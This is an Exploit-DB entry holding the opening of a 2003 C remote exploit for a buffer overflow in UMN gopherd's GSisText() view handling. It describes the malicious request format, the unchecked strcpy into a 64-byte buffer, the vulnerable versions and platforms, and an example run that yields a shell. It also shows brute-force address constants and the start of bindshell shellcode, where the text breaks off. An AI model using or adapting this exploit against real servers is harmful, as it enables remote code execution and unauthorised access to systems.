Exploit-DB #22894
Description: University of Minnesota Gopherd 2.0.x/2.3/3.0.x - GSisText Buffer Overflow
Type: remote
Platform: linux
Date: 2003-07-11
Author: V9

Exploit:
// source: https://www.securityfocus.com/bid/8168/info

It has been reported that there is a buffer overflow condition present in gopherd that may be exploited remotely to execute arbitrary code. The affected component is said to be used for determining view-types for gopher objects.


/*[ UMN gopherd[2.x.x/3.x.x]: remote GSisText()/view buffer overflow. ]*
 *                                                                     *
 * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo)           *
 *                                                                     *
 * three years since last audit, code is a little more secure.  but,   *
 * still found a few potentially exploitable situations.  this         *
 * exploits the GSisText() object function in gopherd.  the function   *
 * is used in determining view-type.  the function does not check the  *
 * length of the string, which is copied into a temporary 64 byte      *
 * buffer.  an example would look like this(including where to put the *
 * shellcode at):                                                      *
 *                                                                     *
 * "g\t+<long string>\t1\n<shellcode(256 character max)>\n"            *
 *                                                                     *
 * to exploit this, the request must start with a h, 0, 4, 5, 9, s, I, *
 * or g.  followed by a <tab>+<long string>.  to have a place to put   *
 * the shellcode, i appeneded a <tab>1, which makes gopherd wait for   *
 * another line before actually doing the overflow.                    *
 *                                                                     *
 * requirements(general):                                              *
 *  none.  no option to disable this, hard-coded upon compile.         *
 *                                                                     *
 * requirements(for this exploit):                                     *
 *  the server must be running linux/x86(what i made the exploit for). *
 *  gopherd must be started in the root directory "/", running with    *
 *  the -c command line option, or started as non-root.  any of those  *
 *  three situations will allow for successful exploitation.  this     *
 *  does not mean it is impossible to exploit otherwise.  but, gopherd *
 *  will be in a chroot()'d state.  and, as of the 2.4 kernel series,  *
 *  i have seen no such way to break chroot.  if it is desired to      *
 *  still run code, even in a limited environment, simply change the   *
 *  shellcode to your likings.                                         *
 *                                                                     *
 * bug location(gopher-3.0.5/object/GSgopherobj.c):                    *
 *  2088:boolean                                                       *
 *  2089:GSisText(GopherObj *gs, char *view)                           *
 *  2090:{                                                             *
 *  ...                                                                *
 *  2106:char viewstowage[64], *cp;                                    *
 *  2108:strcpy(viewstowage, view);                                    *
 *                                                                     *
 * vulnerable versions:                                                *
 *  v3.0.5, v3.0.4, v3.0.3, v3.0.2, v3.0.1, v3.0.0(-1),                *
 *  v2.3.1. (patch level 0 through 15/all 2.3.1 versions)              *
 *  (it is assumed versions before 2.3.1 are vulnerable as well)       *
 *                                                                     *
 * tested on platforms(with no code changes/offsets):                  *
 *  RedHat7.1, 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686             *
 *  Mandrake9.1, 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686   *
 *  (tested on both v3.0.5, and v2.3.1 sources / no changes)           *
 *                                                                     *
 * example usage:                                                      *
 *  # cc xgopherd2k3-view.c -o xgopherd2k3-view                        *
 *  # ./xgopherd2k3-view localhost                                     *
 *  [*] UMN gopherd[2.x.x/3.x.x]: remote buffer overflow exploit.      *
 *  [*] "UMN gopherd remote GSisText()/view buffer overflow"           *
 *  [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)               *
 *                                                                     *
 *  [*] target: localhost:70 - brute: 0xbfffe000-0xbfffffff            *
 *                                                                     *
 *  (. = 29 byte offset): ............................................ *
 *  .................................................................. *
 *  ................................................(hit shellcode!)   *
 *                                                                     *
 *  Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 200$ *
 *  uid=13(gopher) gid=30(gopher) groups=0(root),1(bin),2(daemon),3(s$ *
 ***********************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>

/* using brute force method, don't change values.                 */
#define CODESIZE 256 /* big as it gets, or will fail.             */
#define EIPSIZE 128 /* 64 byte buffer, little overboard. :)       */
#define BASEADDR 0xbfffe000 /* starting address, should be ok.    */
#define ENDADDR 0xbfffffff /* address to stop at.                 */
#define TIMEOUT 10 /* connection timeout. (general)               */

/* globals. */
static char x86_exec[]= /* bindshell(45295